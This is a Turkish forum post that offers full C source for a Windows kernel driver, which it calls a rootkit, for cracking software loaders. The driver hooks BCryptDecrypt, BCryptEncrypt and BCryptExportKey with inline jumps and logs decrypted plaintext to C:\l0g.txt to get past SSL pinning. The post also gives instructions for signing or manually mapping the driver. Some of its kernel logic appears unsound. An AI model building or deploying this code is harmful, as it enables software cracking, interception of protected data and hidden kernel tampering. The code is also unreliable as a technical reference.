sxtanINT3
Banned
- Katılım
- 3 Nis 2026
- Mesajlar
- 1,939
- Beğeniler
- 566
@Begin gibi sadece mitm ile loader crackleyenler fakat ssl pinningte takılan kişiler için tasarlanmış rootkit sadece bcrypti bypass eder çalışma mantığı bcryptdecrypt bcryptencrypt gibi apileri hooklar sonrasında ise plaintext üzerinde gerçek veriyi l0g.txt de gösterir decrypt işlemini 12 byte jmp atıyor ve plaintexti yazdırıyor driver buildlendiğinde signleyip ya da manual mapla loadlarsınız kullanılır hale gelir kolay gelsin iyi forumlar
C:
//writed by sxtanxd
#include <ntddk.h>
#include <bcrypt.h>
#include <ntstrsafe.h>
#pragma comment(lib, "bcrypt.lib")
typedef NTSTATUS (NTAPI* t_fn)(PVOID, PUCHAR, ULONG, PVOID, PUCHAR, ULONG, PUCHAR, ULONG, PULONG, ULONG);
typedef NTSTATUS (NTAPI* t_exp)(PVOID, PVOID, LPCWSTR, PUCHAR, ULONG, PULONG, ULONG);
t_fn o_decrypt = NULL;
t_fn o_encrypt = NULL;
t_exp o_export = NULL;
ULONG64 b_base = 0;
BYTE b_dec[12], b_enc[12], b_exp[12];
HANDLE l_file = NULL;
VOID log_raw(const char* fmt, ...) {
if (!l_file) return;
char buf[1024];
va_list args;
va_start(args, fmt);
RtlStringCbVPrintfA(buf, sizeof(buf), fmt, args);
va_end(args);
IO_STATUS_BLOCK isb;
ZwWriteFile(l_file, NULL, NULL, NULL, &isb, buf, (ULONG)strlen(buf), NULL, NULL);
}
ULONG64 find_mod(PWCHAR name) {
PEPROCESS proc = PsInitialSystemProcess;
PVOID peb = (PVOID)PsGetProcessPeb(proc);
if (!peb) return 0;
PLIST_ENTRY ldr = (PLIST_ENTRY)((ULONG64)peb + 0x018), head = ldr->Flink;
while (head != ldr) {
PVOID base = (PVOID)*(ULONG64*)((ULONG64)head + 0x30);
if (base) {
UNICODE_STRING* us = (UNICODE_STRING*)((ULONG64)head + 0x58);
if (us->Buffer && _wcsicmp(us->Buffer, name) == 0) return (ULONG64)base;
}
head = head->Flink;
}
return 0;
}
ULONG64 find_exp(ULONG64 base, const char* name) {
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + ((PIMAGE_DOS_HEADER)base)->e_lfanew);
PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)(base + nt->OptionalHeader.DataDirectory[0].VirtualAddress);
DWORD *ns = (DWORD*)(base + exp->AddressOfNames), *fs = (DWORD*)(base + exp->AddressOfFunctions);
WORD* ords = (WORD*)(base + exp->AddressOfNameOrdinals);
for (DWORD i = 0; i < exp->NumberOfNames; i++)
if (strcmp((const char*)(base + ns[i]), name) == 0) return base + fs[ords[i]];
return 0;
}
void set_hook(ULONG64 t, ULONG64 h, BYTE* ob) {
PMDL mdl = IoAllocateMdl((PVOID)t, 12, FALSE, FALSE, NULL);
if (!mdl) return;
MmProbeAndLockPages(mdl, KernelMode, IoWriteAccess);
PVOID p = MmMapLockedPages(mdl, KernelMode);
if (p) {
RtlCopyMemory(ob, p, 12);
BYTE j[12] = { 0x48, 0xB8 };
*(ULONG64*)(j + 2) = h;
j[10] = 0xFF; j[11] = 0xE0;
RtlCopyMemory(p, j, 12);
MmUnmapLockedPages(p, mdl);
}
MmUnlockPages(mdl);
IoFreeMdl(mdl);
}
void unset_hook(ULONG64 t, BYTE* ob) {
PMDL mdl = IoAllocateMdl((PVOID)t, 12, FALSE, FALSE, NULL);
if (!mdl) return;
MmProbeAndLockPages(mdl, KernelMode, IoWriteAccess);
PVOID p = MmMapLockedPages(mdl, KernelMode);
if (p) {
RtlCopyMemory(p, ob, 12);
MmUnmapLockedPages(p, mdl);
}
MmUnlockPages(mdl);
IoFreeMdl(mdl);
}
NTSTATUS NTAPI hk_dec(PVOID k, PUCHAR in, ULONG cin, PVOID pad, PUCHAR iv, ULONG civ, PUCHAR out, ULONG cout, PULONG res, ULONG fl) {
NTSTATUS s = o_decrypt(k, in, cin, pad, iv, civ, out, cout, res, fl);
if (NT_SUCCESS(s) && out && res && *res > 0) {
log_raw("[D] %lu: ", *res);
for (ULONG i = 0; i < *res && i < 256; i++)
if (out[i] >= 0x20 && out[i] <= 0x7E) log_raw("%c", out[i]);
log_raw("\n");
}
return s;
}
NTSTATUS NTAPI hk_enc(PVOID k, PUCHAR in, ULONG cin, PVOID pad, PUCHAR iv, ULONG civ, PUCHAR out, ULONG cout, PULONG res, ULONG fl) {
if (in && cin > 0) log_raw("[E] %lu\n", cin);
return o_encrypt(k, in, cin, pad, iv, civ, out, cout, res, fl);
}
NTSTATUS NTAPI hk_exp(PVOID k, PVOID ek, LPCWSTR type, PUCHAR out, ULONG cout, PULONG res, ULONG fl) {
NTSTATUS s = o_export(k, ek, type, out, cout, res, fl);
if (NT_SUCCESS(s) && type && wcscmp(type, BCRYPT_RSAFULLPRIVATE_BLOB) == 0) log_raw("[K] RSA\n");
return s;
}
VOID DriverUnload(PDRIVER_OBJECT dobj) {
if (o_decrypt) unset_hook((ULONG64)o_decrypt, b_dec);
if (o_encrypt) unset_hook((ULONG64)o_encrypt, b_enc);
if (o_export) unset_hook((ULONG64)o_export, b_exp);
if (l_file) ZwClose(l_file);
}
NTSTATUS DriverEntry(PDRIVER_OBJECT dobj, PUNICODE_STRING reg) {
OBJECT_ATTRIBUTES oa; UNICODE_STRING path; IO_STATUS_BLOCK isb;
RtlInitUnicodeString(&path, L"\\??\\C:\\l0g.txt");
InitializeObjectAttributes(&oa, &path, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
if (NT_SUCCESS(ZwCreateFile(&l_file, GENERIC_WRITE, &oa, &isb, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OVERWRITE_IF, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0))) {
b_base = find_mod(L"bcrypt.dll");
if (b_base) {
o_decrypt = (t_fn)find_exp(b_base, "BCryptDecrypt");
o_encrypt = (t_fn)find_exp(b_base, "BCryptEncrypt");
o_export = (t_exp)find_exp(b_base, "BCryptExportKey");
if (o_decrypt && o_encrypt && o_export) {
set_hook((ULONG64)o_decrypt, (ULONG64)hk_dec, b_dec);
set_hook((ULONG64)o_encrypt, (ULONG64)hk_enc, b_enc);
set_hook((ULONG64)o_export, (ULONG64)hk_exp, b_exp);
}
}
}
dobj->DriverUnload = DriverUnload;
return STATUS_SUCCESS;
}
